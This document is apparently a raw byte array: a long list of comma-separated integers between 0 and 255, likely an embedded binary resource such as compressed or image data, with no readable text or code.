48,28,94,95,206,153,171,138,37,159,41,236,63,191,48,242, 5,232,237,16,220,254,171,255,61,143,244,11,94,31,39,96, 125,202,227,51,8,94,31,181,57,91,207,173,79,20,121,235, 83,237,23,11,37,226,230,0,57,227,43,55,54,2,81,61, 123,0,249,119,199,89,168,38,172,120,167,221,49,152,4,181, 53,71,223,11,85,151,91,176,103,240,10,102,127,135,214,96, 163,123,14,92,194,77,72,217,125,191,249,73,137,56,193,124, 63,189,112,194,237,242,186,119,17,180,62,84,209,250,56,33, 215,135,52,87,21,76,145,178,190,229,45,79,76,187,76,174, 239,240,71,189,143,183,220,117,217,221,159,234,213,3,144,223, 183,249,96,219,97,4,203,233,43,223,146,144,246,58,179,217, 112,124,98,109,190,138,160,242,5,8,166,45,84,128,195,227, 243,254,9,12,247,199,243,29,200,243,11,198,55,50,175,15, 133,94,31,33,173,15,66,173,15,12,235,195,241,41,128,73, 99,201,25,246,250,150,55,61,61,227,173,128,78,198,193,37, 116,199,87,46,98,111,5,118,34,85,126,217,3,152,47,91, 93,199,64,210,5,169,243,79,48,138,168,159,192,163,55,180, 8,45,154,229,103,18,198,18,159,96,73,58,132,199,177,246, 107,248,17,218,245,85,98,47,193,86,164,249,214,38,254,250, 194,167,33,73,48,161,0,180,128,197,188,62,194,176,62,94, 99,168,115,43,233,61,13,58,134,178,222,228,137,231,102,93, 172,183,62,233,127,87,15,242,172,27,103,15,64,180,6,64, 127,147,206,208,147,26,250,139,174,190,182,80,114,211,38,69, 33,246,37,37,134,139,87,24,210,91,92,170,11,76,2,15, 128,17,65,38,152,196,141,240,217,111,137,149,130,157,211,111, 125,192,38,5,121,67,66,33,214,7,33,214,135,152,245,81, 51,8,42,178,177,254,228,206,206,217,139,224,120,9,184,132, 82,52,149,91,239,199,87,238,102,165,66,198,132,65,3,10, 136,211,218,69,151,252,154,56,138,147,22,204,143,203,227,241, 97,32,246,80,155,89,121,60,60,216,14,60,98,92,125,32, 28,95,128,233,128,208,112,124,1,168,154,47,96,188,249,20, 188,134,165,222,249,0,18,111,206,61,13,45,117,132,247,15, 144,75,57,128,88,202,129,177,37,1,167,206,5,56,15,128, 12,205,154,130,141,193,133,49,87,192,33,2,136,137,81,29, 197,65,33,182,122,110,58,241,71,24,88,134,76,30,132,206, 1,232,40,75,163,183,228,242,223,172,240,125,156,144,235,195, 177,21,113,103,19,240,235,35,24,148,4,25,215,71,24,214, 71,205,183,203,12,6,117,32,63,60,171,21,157,240,152,85, 239,90,123,53,173,94,228,152,64,33,128,18,90,183,157,6, 198,85,55,101,188,5,27,131,171,241,170,78,180,41,43,133, 195,254,149,96,11,107,126,81,60,25,138,114,142,241,90,124, 64,160,255,189,222,133,31,221,250,8,105,125,68,197,235,227, 45,213,250,175,15,12,85,30,242,185,223,241,147,59,167,230, 140,38,103,113,199,198,242,231,73,215,131,60,235,22,173,3, 21,217,0,235,182,15,64,122,147,156,217,194,16,129,195,23, 185,38,12,145,177,185,244,7,232,167,238,241,78,176,92,116, 241,75,191,233,157,243,196,230,233,85,18,79,4,94,95,141, 168,5,91,13,40,119,125,248,210,40,119,164,72,148,235,195, 183,110,201,17,57,87,191,26,23,249,216,204,67,201,51,9, 60,248,25,90,167,67,125,200,221,108,212,36,160,241,135,0, 249,55,196,153,234,223,246,2,128,201,75,11,214,137,85,241, 109,252,17,27,126,123,62,41,157,6,92,93,64,176,115,8, 38,65,232,77,232,9,207,158,40,88,213,209,123,238,56,245, 50,103,232,195,172,15,124,238,93,190,63,211,250,40,92,110, 17,172,143,25,143,143,218,203,221,169,59,155,22,169,121,12, 210,76,69,189,201,243,244,223,156,15,64,245,106,0,242,223, 194,233,130,161,169,68,72,138,173,186,203,97,248,2,252,171, 239,60,95,128,142,199,175,142,47,0,101,242,5,56,198,202, 133,223,250,160,162,245,169,7,62,5,53,46,31,95,62,128, 206,29,237,203,234,17,239,31,36,207,102,20,213,71,212,245, 128,168,41,193,138,239,97,98,26,135,55,231,28,118,24,210, 96,60,95,0,2,168,179,253,0,66,193,120,120,254,254,130, 249,2,76,159,155,154,149,193,144,125,249,175,207,68,230,83, 24,111,62,128,246,237,157,151,215,41,222,223,95,254,120,54, 167,248,178,31,80,199,125,0,158,231,64,211,56,32,166,31, 30,93,127,205,205,232,124,110,55,162,128,124,189,26,213,59, 204,203,227,143,199,135,241,142,200,55,155,175,215,166,245,170, 186,96,206,167,215,151,119,252,248,20,116,154,177,242,248,20, 198,143,15,160,249,169,105,151,215,43,222,223,95,62,178,182, 168,252,234,63,117,217,7,32,61,123,103,26,177,47,101,73, 85,92,165,232,22,39,95,128,172,120,114,205,85,77,195,152, 240,248,106,153,208,204,23,224,61,196,132,187,107,149,171,128, 227,11,32,237,254,163,95,31,206,176,152,249,20,244,35,53, 194,175,15,129,231,67,136,159,15,32,249,204,204,75,168,126, 241,254,62,114,113,112,255,43,112,65,197,195,192,92,37,12, 168,227,36,32,32,48,205,212,147,231,117,208,204,48,224,241, 224,11,144,23,164,82,190,128,48,120,124,1,19,95,129,126, 253,248,248,20,196,56,243,41,200,158,65,28,124,0,226,197, 57,23,66,212,47,222,223,79,158,234,203,202,39,1,171,30, 64,221,49,2,73,137,99,103,170,107,140,66,137,137,44,245, 254,58,248,68,233,28,115,47,119,126,47,207,219,11,132,63, 128,203,68,25,46,24,47,67,102,236,37,246,239,189,123,85, 16,235,32,41,6,83,63,37,152,187,39,193,246,39,122,239, 143,0,195,253,17,115,138,178,121,125,168,194,245,145,251,11, 133,49,164,168,86,142,93,115,206,70,82,254,214,242,251,161, 51,241,214,141,124,172,255,9,184,112,181,227,64,35,246,1, 146,17,239,251,165,255,223,162,22,104,200,200,171,175,159,215, 194,15,98,14,215,86,51,222,220,249,64,122,210,141,207,23, 240,109,176,250,253,57,218,177,166,188,10,201,13,31,252,217, 124,196,228,8,4,155,244,227,13,9,180,53,149,239,143,59, 100,68,63,45,193,63,169,231,151,91,169,124,125,160,29,133, 66,26,128,186,42,249,254,121,51,209,38,88,140,128,154,140, 171,55,57,144,189,107,104,164,168,254,186,17,168,107,62,128, 220,99,105,81,59,227,28,31,167,208,204,23,32,2,248,2, 132,47,95,0,25,92,222,120,249,2,194,240,21,16,184,206, 193,232,215,39,58,190,128,120,248,20,226,226,3,192,241,89, 66,76,175,119,188,191,122,240,111,105,28,127,160,120,24,120, 54,175,250,110,244,41,192,248,56,1,145,104,81,31,190,63, 222,220,132,135,215,29,125,25,15,111,42,253,153,248,2,68, 40,190,0,81,21,95,0,24,229,246,203,5,192,24,107,87, 191,62,193,124,1,227,207,167,16,61,31,128,24,154,121,162, 105,94,253,227,253,161,117,76,228,255,247,232,209,163,200,230, 255,41,24,129,88,76,64,244,132,32,249,255,186,45,58,30, 222,220,137,31,134,47,64,84,192,23,0,159,238,125,190,245, 198,212,208,83,46,95,128,96,248,10,120,190,0,138,104,125, 252,88,16,234,159,79,33,82,62,128,244,212,61,45,11,235, 21,239,15,207,113,178,196,164,52,5,8,67,247,32,11,183, 104,2,178,69,19,64,81,99,2,99,11,1,68,139,254,114, 8,230,68,28,97,216,97,244,221,136,202,226,11,224,43,210, 254,124,1,220,252,186,163,204,243,5,8,246,254,204,124,1, 130,157,223,143,47,160,124,62,5,63,190,0,98,101,227,203, 167,16,17,31,0,77,125,161,117,105,253,224,253,245,214,61, 53,199,68,42,146,113,239,161,221,200,34,35,249,0,106,34, 176,142,207,6,4,68,139,3,199,140,135,247,99,179,231,249, 2,0,30,143,174,95,31,74,6,92,111,81,33,6,66,28, 134,47,64,176,32,78,249,254,195,243,5,160,108,190,0,71, 129,138,148,199,23,0,35,95,64,37,124,10,48,28,37,22, 21,159,66,53,124,0,173,79,117,92,86,31,120,126,0,82, 198,131,216,247,22,90,22,32,181,42,155,241,236,254,37,35, 64,209,195,131,227,160,4,3,208,222,162,226,225,249,44,118, 181,124,1,38,110,193,210,239,59,154,237,213,123,224,121,15, 66,149,147,49,94,134,177,94,31,37,95,0,127,150,112,88, 190,0,83,254,190,50,62,5,193,174,95,116,124,10,64,165, 124,0,45,219,167,93,86,15,120,126,206,59,17,158,142,94, 161,105,114,241,47,71,14,61,99,80,255,186,110,5,150,190, 113,83,66,69,241,195,128,135,231,89,239,170,229,11,0,84, 0,16,23,139,115,243,131,117,239,117,232,113,16,95,0,2, 208,125,229,243,5,68,185,62,213,240,5,192,55,203,16,23, 159,66,56,62,128,230,167,102,92,62,158,120,126,176,105,77, 72,221,15,94,117,7,19,28,184,119,141,142,228,213,62,147, 15,3,220,137,88,6,52,114,240,132,193,155,115,233,33,160, 26,190,0,176,138,165,238,131,164,237,187,96,243,9,229,240, 5,144,239,253,241,223,159,227,11,136,103,125,160,244,84,168, 124,1,230,245,169,5,159,2,175,82,38,62,128,196,179,51, 223,50,62,120,126,249,40,18,111,168,71,10,58,18,82,216, 160,182,76,17,128,163,91,242,170,159,201,27,1,213,7,136, 116,36,99,209,125,38,174,52,31,100,169,118,224,235,9,41, 189,115,80,63,235,69,62,143,143,24,69,215,27,107,228,199, 4,99,5,93,109,139,225,122,207,244,249,245,96,134,124,219, 89,249,251,227,214,71,13,21,184,245,145,103,224,186,21,1, 24,83,159,250,250,192,167,195,160,146,245,49,5,123,250,250, 16,155,99,208,225,90,206,203,179,207,23,142,220,235,40,148, 242,154,218,11,89,141,92,53,74,228,9,236,184,191,87,131, 2,181,171,33,255,211,214,19,199,24,247,63,134,244,95,244, 30,0,233,177,0,49,120,120,71,113,49,117,60,60,25,43, 3,114,167,157,126,206,29,127,42,176,95,173,128,11,23,56, 160,79,180,124,1,20,17,95,64,181,124,10,20,122,125,162, 230,11,16,101,174,79,16,31,128,243,198,236,211,157,150,120, 241,250,185,255,239,26,61,19,48,127,79,154,211,239,245,22, 244,36,224,208,125,197,253,63,163,213,1,98,96,7,142,167, 10,64,34,171,186,254,250,203,237,74,81,99,88,60,62,80, 14,30,223,140,77,7,83,123,230,94,83,26,119,190,128,56, 249,20,120,116,70,208,250,212,3,159,130,98,86,250,231,180, 57,157,113,226,245,193,4,52,58,253,9,95,223,215,17,44, 106,96,80,12,149,247,28,222,45,237,254,25,79,35,240,132, 73,2,2,200,100,85,188,182,78,58,45,180,82,24,191,255, 65,91,42,62,174,5,147,237,231,58,217,244,72,95,117,91, 73,75,137,5,241,5,136,64,60,188,31,15,48,192,195,90, 253,195,130,241,230,83,224,210,99,84,33,95,64,249,124,10, 146,114,158,156,61,230,204,86,19,110,64,52,120,125,121,125, 73,241,63,72,241,101,84,126,2,185,92,168,115,37,201,149, 140,209,85,217,92,212,239,221,255,99,13,1,162,246,0,242, 55,151,206,248,225,181,1,238,252,121,30,57,47,180,28,170, 218,97,197,227,225,69,76,124,1,240,225,11,16,40,151,175, 0,202,222,192,227,233,249,245,169,37,159,66,24,190,0,3, 32,183,2,62,5,238,254,132,97,51,16,192,232,204,254,166, 69,209,226,241,161,189,25,92,11,178,30,249,154,0,190,166, 138,191,178,146,195,71,158,145,18,127,153,120,75,128,241,120, 0,4,2,141,101,195,224,181,253,248,2,248,61,154,231,19, 224,228,113,241,5,152,239,223,97,190,95,101,124,1,20,98, 125,38,51,159,66,176,220,115,111,217,169,187,154,23,69,131, 199,247,70,232,130,141,218,193,236,228,94,185,156,244,227,102, 245,178,24,170,191,153,93,51,58,86,204,253,103,20,48,208, 132,8,1,138,126,208,40,29,187,126,244,72,214,231,124,118, 211,249,244,126,7,95,9,173,185,148,12,21,102,176,24,59, 14,47,200,85,196,133,65,81,249,99,59,121,52,129,80,202, 114,60,91,46,7,61,18,80,79,140,23,6,22,229,240,235, 35,124,214,199,148,194,227,238,175,190,214,7,64,145,238,83, 207,82,240,76,187,186,92,125,121,85,135,222,152,227,134,222, 213,72,70,40,59,159,80,148,175,127,236,33,73,249,99,46, 0,198,227,1,20,227,148,29,47,29,123,244,48,78,96,204, 120,126,187,255,249,244,166,138,183,74,96,173,166,81,248,58, 183,154,238,50,19,149,3,60,184,86,199,11,234,247,71,26, 108,71,135,186,168,199,117,130,113,56,245,86,153,112,235,67, 198,245,129,18,104,84,122,127,194,144,207,24,175,245,105,123, 188,243,82,25,35,192,3,133,84,57,180,159,188,177,186,92, 26,230,243,252,42,73,47,159,3,40,169,132,124,125,110,126, 122,240,212,9,79,242,79,133,0,213,249,217,128,164,244,100, 18,136,246,17,70,48,2,7,237,104,69,146,77,180,145,22, 121,66,33,206,224,146,133,92,247,188,78,73,13,99,81,79, 205,241,171,204,55,178,147,168,86,173,73,170,236,251,151,214, 228,244,38,25,26,123,73,235,48,227,238,207,127,125,72,59, 88,68,93,31,213,140,192,135,132,84,142,132,131,238,143,195, 31,168,184,15,157,105,200,180,62,164,193,169,76,243,55,63, 49,245,10,21,114,43,207,16,180,135,147,84,131,210,217,6, 204,249,13,63,191,192,36,37,86,94,152,121,208,91,0,204, 42,61,128,177,29,15,234,68,184,247,67,62,184,128,14,20, 150,113,0,253,56,140,161,60,146,129,195,115,151,119,62,189, 96,91,52,189,95,201,175,7,94,71,237,115,145,167,238,136, 251,241,5,232,153,109,51,30,94,24,102,69,136,239,111,150, 155,248,2,252,215,103,34,243,41,36,158,158,113,153,172,252, 102,60,62,95,139,247,150,229,248,40,95,72,167,114,8,237, 175,244,43,234,153,0,255,249,139,123,230,238,35,123,52,4, 64,172,209,127,124,125,0,249,219,205,28,104,246,56,7,25, 156,196,41,76,65,43,90,160,50,196,10,246,161,169,110,156, 163,164,18,5,147,91,54,213,164,185,174,64,190,160,165,243, 224,241,28,251,28,187,175,90,176,35,105,111,211,115,234,252, 157,22,86,172,244,125,157,178,214,135,128,200,214,135,12,228, 29,65,235,163,238,239,220,185,4,230,245,225,153,16,229,251, 115,94,152,189,140,132,247,119,84,186,60,189,17,151,171,68, 112,16,99,185,7,213,116,125,176,253,0,20,106,126,249,56, 85,0,24,203,21,0,189,45,64,110,188,5,192,232,13,128, 236,3,184,217,131,122,54,117,20,35,112,208,134,41,104,214, 106,210,164,193,84,185,131,64,76,14,180,186,180,34,212,139, 200,183,167,146,79,238,155,175,148,251,29,91,78,158,198,39, 19,123,45,49,205,51,220,119,114,67,172,143,9,158,75,12, 23,96,24,69,197,56,174,143,48,173,207,171,51,22,80,82, 125,191,244,83,137,248,208,17,108,81,142,152,146,172,220,211, 199,151,108,133,198,172,200,205,175,190,185,202,29,12,246,63, 107,216,255,99,220,253,163,247,0,188,30,14,13,29,106,99, 241,210,46,134,48,132,4,218,49,5,9,95,188,183,252,66, 5,241,5,128,121,121,204,124,1,66,67,1,112,205,198,65, 93,115,97,249,2,0,127,190,0,189,67,159,208,72,124,10, 65,235,163,144,200,238,155,61,3,109,106,180,31,84,125,23, 74,150,64,104,73,97,174,119,146,24,15,205,188,187,155,231, 231,178,20,165,111,152,189,51,157,98,26,128,106,16,2,196, 209,9,152,191,221,161,227,72,153,241,210,89,156,196,33,28, 207,87,9,0,14,239,93,41,95,0,183,247,192,240,95,14, 143,111,190,190,254,179,163,205,195,243,1,112,4,150,38,90, 51,239,157,56,6,247,17,90,213,188,81,248,20,112,108,166, 192,116,193,152,34,57,163,239,135,215,87,211,182,196,100,1, 84,195,17,26,207,31,114,126,207,147,163,163,91,181,6,32, 55,238,2,96,156,101,192,92,51,144,75,123,130,240,212,35, 56,142,131,56,137,52,194,225,189,133,129,162,42,24,15,207, 53,247,170,77,55,102,190,0,32,152,47,192,143,229,142,175, 166,251,179,238,169,40,254,202,249,20,194,172,15,48,49,248, 20,156,193,105,39,156,211,73,81,55,157,167,200,68,157,39, 148,215,20,44,209,58,49,5,66,37,105,7,176,152,192,74, 230,167,251,7,79,41,13,64,217,248,11,128,209,87,1,72, 45,4,138,189,97,240,212,192,16,142,162,31,131,200,26,240, 222,194,135,14,147,139,70,57,60,60,213,144,47,0,33,240, 240,196,30,234,237,205,169,151,203,167,16,180,62,240,93,159, 9,194,167,144,238,120,179,233,28,245,47,72,217,169,117,69, 86,19,84,58,176,136,199,243,67,9,107,92,45,111,19,197, 252,67,235,180,6,32,55,254,2,96,60,85,0,233,0,35, 218,27,30,111,157,193,169,98,149,192,1,127,254,187,8,224, 11,144,79,228,33,192,216,87,30,158,47,64,173,7,155,58, 20,170,225,11,16,190,120,120,32,44,159,66,208,250,64,91, 159,234,249,20,106,177,62,197,122,61,117,60,223,114,9,148, 191,128,143,134,8,6,136,166,42,166,80,122,38,192,238,237, 250,42,250,207,79,26,166,212,56,255,206,99,123,149,238,255, 154,20,0,227,44,3,230,13,65,246,64,130,73,42,145,102, 45,75,242,81,140,194,201,153,1,42,156,233,166,150,199,252, 206,245,17,12,229,38,95,226,19,218,105,61,0,119,68,25, 41,7,90,240,93,98,250,252,50,67,172,80,204,20,31,247, 18,83,17,241,114,35,168,229,65,29,195,22,126,125,248,249, 77,40,195,74,214,135,180,118,162,106,215,167,229,137,150,203, 193,86,50,212,215,143,143,208,115,195,213,140,33,135,231,39, 205,15,32,229,157,49,181,6,151,59,255,216,157,217,172,39, 253,87,179,2,96,60,85,0,239,57,230,68,251,43,193,99, 187,24,193,48,154,196,20,180,33,193,58,170,225,248,2,128, 32,188,57,1,134,102,87,176,9,41,140,59,95,64,45,249, 20,76,39,3,194,88,4,140,151,79,161,105,123,251,229,124, 25,79,119,214,229,122,6,143,231,7,84,54,127,98,86,67, 176,254,147,105,254,114,248,4,242,127,113,242,240,243,76,1, 208,123,16,72,172,35,198,42,0,40,125,160,114,60,118,26, 3,56,132,163,24,102,187,180,56,62,1,192,124,20,152,9, 29,111,114,171,213,108,54,212,66,20,27,77,151,203,23,32, 124,249,2,28,95,214,188,70,227,83,104,122,162,227,114,221, 53,215,153,129,121,60,63,49,201,59,120,122,244,245,180,159, 183,250,207,147,128,153,241,254,97,230,47,200,211,185,2,160, 202,1,20,19,5,104,188,30,128,198,214,148,62,216,138,234, 206,79,31,195,24,78,162,181,24,18,168,231,191,115,177,175, 185,167,143,235,123,19,62,254,129,137,47,192,27,247,6,243, 5,168,78,45,223,168,74,12,30,159,79,56,249,241,41,148, 90,133,130,248,20,130,248,2,234,139,79,1,59,58,46,229, 43,238,65,71,136,65,58,109,129,195,243,155,14,237,128,143, 171,143,0,30,160,160,249,75,241,192,241,109,134,246,223,216, 11,128,113,123,0,0,13,30,22,196,47,82,57,120,109,194, 48,142,226,160,24,68,154,221,193,72,250,42,58,94,158,140, 175,95,88,60,188,154,107,55,225,245,121,15,194,123,127,38, 60,60,161,28,190,0,24,230,55,177,242,155,255,126,98,240, 41,56,47,119,45,134,163,166,238,132,230,146,243,204,193,170, 115,79,62,217,121,147,156,175,244,83,40,230,98,149,35,64, 186,151,77,249,2,160,190,255,199,30,253,199,149,3,240,24, 129,193,20,14,98,94,52,231,167,187,24,192,0,90,208,138, 41,12,194,155,103,169,149,203,110,122,58,17,224,89,245,136, 201,180,19,227,160,154,162,100,191,254,59,115,127,155,158,133, 55,93,211,235,118,114,117,2,253,206,5,211,95,23,229,250, 192,216,159,24,102,125,248,231,87,244,90,94,239,152,39,90, 76,237,187,96,195,27,242,193,251,235,85,9,174,167,80,15, 68,200,144,208,54,93,159,124,19,149,185,107,14,110,80,114, 255,37,231,191,70,38,32,250,42,128,55,17,8,218,43,230, 69,121,126,250,24,198,0,180,162,13,45,4,193,159,15,15, 22,180,41,164,166,78,189,14,32,36,24,43,152,58,2,1, 236,245,137,173,101,115,17,55,105,176,29,97,84,84,61,79, 78,76,32,194,191,194,66,203,88,144,33,29,24,245,250,232, 53,5,63,132,128,122,127,236,250,28,236,104,67,87,80,167, 191,186,90,208,126,147,175,36,233,138,76,198,74,82,12,243, 191,124,116,159,167,1,72,143,255,49,49,67,0,175,167,181, 55,142,243,213,71,112,20,7,197,0,50,134,158,56,249,255, 59,224,58,213,0,48,61,110,60,207,142,57,41,88,72,214, 113,7,91,169,231,33,9,214,105,246,59,227,24,204,253,233, 117,118,33,221,135,185,53,74,24,234,26,81,174,143,94,85, 16,210,250,152,169,224,133,22,98,1,2,56,209,150,22,115, 204,209,56,41,101,72,213,103,33,205,179,240,143,219,245,218, 75,16,159,64,53,243,143,173,102,186,255,106,86,0,140,211, 0,20,125,0,119,95,92,231,171,187,24,64,63,142,96,48, 223,44,5,101,135,50,227,221,29,150,24,76,85,155,240,124, 1,106,150,92,109,251,229,10,153,165,89,184,115,124,195,241, 5,8,45,247,46,203,213,108,251,196,225,83,40,94,117,164, 173,63,113,38,152,252,58,177,173,185,58,95,143,220,120,43, 216,134,29,78,78,140,113,224,209,255,85,204,127,252,232,75, 76,3,80,205,10,128,241,24,0,82,206,61,216,31,239,249, 235,105,156,194,33,156,196,40,136,4,19,123,146,114,44,57, 223,223,46,159,153,167,43,170,254,178,242,61,1,230,254,126, 98,20,67,151,251,157,204,7,230,254,161,220,191,255,253,57, 62,13,195,196,48,10,134,95,31,193,172,143,40,107,125,216, 179,8,179,205,175,58,231,131,9,27,228,226,177,137,103,199, 155,48,4,91,148,211,187,66,205,254,1,63,63,66,205,15, 118,254,204,234,116,74,105,0,170,105,1,48,174,28,128,212, 9,144,57,216,2,176,172,108,106,228,84,141,124,24,195,112, 68,27,90,145,100,234,205,168,154,47,0,134,115,105,194,225, 241,185,84,34,65,199,200,187,158,25,77,217,3,2,140,77, 183,149,242,5,84,191,62,241,240,5,52,61,211,116,25,152, 40,156,88,215,93,48,29,1,106,118,94,48,249,20,248,164, 235,72,163,137,171,108,126,48,199,138,35,123,252,81,100,198, 179,0,24,159,1,240,152,188,2,43,80,252,231,179,19,134, 48,136,36,218,209,66,73,193,31,238,72,101,243,5,128,205, 199,151,195,23,0,31,60,188,144,220,99,199,192,192,167,115, 10,154,248,2,80,21,95,128,122,229,202,248,20,84,131,66, 21,174,79,226,177,166,43,229,115,247,244,221,84,104,247,71, 108,223,189,233,201,201,201,60,142,169,128,180,223,54,203,121, 142,0,245,205,41,252,174,187,126,120,144,57,4,172,134,5, 192,56,66,0,149,8,149,6,250,249,40,41,174,243,217,51, 56,137,126,113,12,35,32,34,246,33,153,248,2,76,49,111, 181,124,1,130,73,200,169,243,146,225,20,97,46,211,160,122, 19,142,81,117,213,249,107,195,167,160,238,123,78,69,235,227, 108,111,185,146,59,109,7,172,31,196,115,247,171,94,131,140, 231,215,13,144,25,239,207,117,249,169,70,210,4,0,22,202, 113,96,133,223,29,218,104,216,255,169,150,53,128,120,14,6, 241,104,228,201,1,103,144,79,130,197,121,126,251,40,142,227, 144,56,133,52,155,168,82,51,210,142,47,30,30,145,224,225, 29,95,35,80,30,95,128,122,125,71,202,231,35,38,190,128, 154,242,41,60,213,242,86,243,241,92,82,150,217,112,20,44, 49,77,59,96,15,2,225,229,64,216,249,3,178,224,208,219, 147,1,128,158,63,118,192,176,255,187,62,211,78,136,36,160, 2,9,114,247,212,226,124,118,93,238,230,89,6,6,144,37, 213,96,232,39,225,153,241,240,48,168,19,25,32,71,102,54, 91,61,207,173,215,221,199,147,47,160,110,248,20,158,107,189, 40,247,129,218,230,203,17,120,104,47,28,184,195,216,11,170, 234,42,120,127,210,120,252,192,210,150,171,29,125,130,121,233, 195,204,95,144,167,214,132,96,0,158,144,85,0,205,20,208, 155,164,40,46,199,33,23,151,60,139,1,28,202,135,4,122, 141,160,180,187,145,178,23,234,187,25,12,123,166,240,40,33, 159,225,23,108,149,93,63,203,71,61,25,199,155,153,39,109, 255,14,202,188,243,101,69,24,238,159,235,52,144,215,71,132, 88,31,17,98,125,68,208,250,236,154,178,144,146,28,179,174, 94,148,147,43,241,114,158,129,39,248,22,134,180,28,105,70, 90,39,249,240,155,159,202,155,255,216,145,151,138,229,191,140, 114,8,136,91,187,4,96,124,85,0,175,65,220,95,14,31, 64,60,242,49,140,194,17,57,150,1,18,222,93,179,82,190, 0,189,26,224,199,23,16,196,87,224,143,135,39,248,241,5, 148,44,121,20,124,1,136,136,79,161,226,245,217,219,60,211, 109,247,107,219,17,6,133,47,253,215,101,73,75,133,33,155, 160,31,70,235,199,55,96,154,223,187,210,46,147,192,149,231, 207,222,145,77,43,13,64,227,80,0,140,203,0,200,254,16, 185,251,18,145,156,207,94,173,156,48,140,97,36,69,43,218, 40,33,160,185,206,38,28,122,16,95,128,124,98,1,143,135, 39,197,141,22,90,25,206,212,6,197,243,231,114,24,123,50, 204,95,57,95,0,16,5,159,2,25,131,15,87,1,244,8, 208,209,102,135,166,235,165,58,158,57,154,59,139,136,175,253, 32,160,190,79,12,222,223,52,63,149,49,191,224,231,207,156, 120,220,115,4,88,102,188,10,128,241,133,0,146,153,165,3, 213,158,207,30,165,60,131,1,244,139,163,24,133,235,10,54, 120,128,164,66,225,248,2,248,3,56,56,190,0,132,192,195, 147,33,105,166,215,39,252,249,2,128,114,248,2,120,100,126, 156,124,10,90,74,113,32,113,146,78,231,170,62,194,128,167, 39,6,32,36,227,238,72,243,245,184,120,159,171,238,155,230, 71,232,249,97,152,159,238,243,20,0,185,51,0,48,25,66, 128,98,70,36,117,48,137,202,249,0,226,145,143,33,5,56, 83,208,134,22,18,194,196,118,23,196,23,0,13,111,47,27, 13,215,112,34,160,222,225,40,140,120,120,10,228,11,224,15, 171,168,132,47,64,55,27,250,247,143,143,79,65,164,176,215, 89,170,23,147,120,159,14,12,20,87,63,114,78,24,16,131, 122,226,207,204,240,95,206,252,60,223,128,58,255,192,38,109, 255,207,142,71,1,48,190,42,128,68,13,154,58,196,57,95, 149,157,223,30,165,156,48,138,163,232,23,3,72,187,48,156, 216,99,198,195,243,61,242,2,28,31,1,216,138,58,133,192, 195,243,89,122,57,101,73,134,235,155,248,2,28,237,142,193, 118,68,248,243,41,4,173,143,185,231,193,192,167,64,120,193, 89,42,119,209,235,189,133,106,151,61,25,123,0,248,157,90, 199,230,131,217,217,189,121,124,19,7,16,63,63,2,231,7, 104,199,137,67,218,254,95,58,3,0,181,221,255,227,11,1, 138,94,192,137,163,34,91,221,249,237,113,202,51,24,192,17, 231,40,70,224,186,124,145,79,104,217,109,238,136,108,193,86, 183,73,233,129,55,29,219,105,190,62,105,7,105,243,85,122, 135,253,123,98,238,159,111,125,210,209,122,178,25,112,148,110, 130,234,214,71,104,134,204,121,194,185,68,101,15,224,232,56, 212,228,37,247,25,239,23,64,171,244,243,175,173,96,35,89, 24,126,246,199,10,114,220,131,99,107,152,250,127,118,60,10, 128,113,25,0,37,92,75,101,176,175,252,243,219,107,43,31, 195,9,28,116,142,99,20,185,106,161,96,27,123,212,120,153, 147,203,138,32,180,179,126,132,166,6,106,50,74,134,237,232, 187,40,177,133,69,50,150,24,193,168,136,122,164,186,206,74, 32,24,127,134,63,223,152,95,31,17,122,125,0,0,143,225, 114,210,138,110,122,220,175,246,244,9,166,118,79,134,79,244, 174,66,181,109,53,236,252,38,102,104,125,126,230,254,14,31, 219,41,69,254,25,41,0,168,113,2,48,190,62,0,9,17, 72,123,162,230,3,136,71,62,130,99,56,148,15,9,100,112, 113,9,128,107,198,195,139,154,243,5,16,179,167,154,249,2, 132,145,47,128,235,33,168,29,159,130,128,216,46,174,52,237, 225,50,231,147,222,201,71,172,129,67,192,190,92,14,222,223, 107,26,185,64,178,188,249,179,171,178,41,205,3,144,25,128, 38,65,21,0,74,30,96,95,28,124,0,241,200,179,24,196, 97,231,8,134,64,89,181,69,52,8,111,47,171,82,229,124, 1,94,137,99,216,63,101,229,162,0,190,0,21,86,21,204, 23,16,63,159,66,81,246,140,184,204,20,53,151,90,128,76, 81,190,96,241,252,130,221,149,77,120,126,97,168,97,203,87, 226,243,5,193,243,75,30,65,250,248,99,1,12,192,53,31, 241,49,2,21,215,223,221,31,31,31,64,60,242,20,78,162, 63,113,18,163,68,46,135,215,39,69,133,28,69,245,203,231, 11,0,219,35,39,7,15,149,243,5,232,156,59,126,124,1, 66,171,144,87,203,167,224,211,181,248,146,88,66,14,152,74, 129,80,210,112,130,221,151,195,224,249,73,11,102,244,52,30, 215,187,32,140,121,0,53,188,84,231,119,153,210,167,0,144, 253,221,232,16,19,255,103,149,67,192,106,58,146,49,237,253, 158,102,32,218,31,55,31,64,28,114,23,195,24,22,9,209, 138,182,108,50,97,102,28,228,248,2,160,57,134,234,223,19, 179,115,242,240,226,104,249,2,248,35,196,160,245,237,149,199, 23,0,4,241,5,200,202,88,84,212,221,226,116,106,209,139, 104,38,2,80,1,238,119,133,22,115,243,223,86,101,8,214, 251,17,131,240,252,220,153,128,130,137,249,77,243,15,110,68, 26,25,164,37,35,224,142,95,2,48,222,62,128,162,103,148, 57,144,64,252,124,0,241,200,179,24,196,96,162,9,173,104, 203,56,73,104,199,68,149,203,23,192,243,1,148,199,23,0, 102,71,227,19,138,48,220,31,215,90,28,204,23,96,230,83, 208,147,156,97,214,135,14,160,221,237,2,19,101,171,41,54, 17,208,124,11,109,229,1,142,72,21,62,213,127,33,149,248, 72,121,50,130,49,188,164,152,17,255,249,129,236,79,78,29, 204,171,125,90,9,1,198,73,249,227,14,1,242,235,147,62, 4,212,138,15,32,30,121,26,167,112,48,121,12,35,132,44, 49,213,123,110,191,149,99,115,97,196,14,134,225,11,208,73, 71,160,117,11,232,127,79,249,20,30,177,201,61,104,85,123, 63,62,2,17,200,167,0,67,78,192,200,167,112,194,77,211, 28,30,79,175,31,133,74,62,120,127,176,120,127,254,249,202, 120,62,243,243,87,87,134,42,226,27,240,254,158,123,235,193, 7,144,65,26,233,162,23,32,183,0,99,124,76,64,188,101, 64,2,64,39,15,213,154,15,32,30,249,40,142,139,67,137, 83,72,103,136,229,23,144,161,188,81,242,5,80,8,190,0, 85,125,133,199,115,80,43,8,230,251,3,120,92,96,48,159, 130,137,47,192,192,167,48,226,30,162,179,184,247,93,40,25, 100,222,240,17,83,160,211,73,66,57,76,158,174,238,241,204, 47,255,59,251,219,3,247,49,234,239,221,255,199,97,247,143, 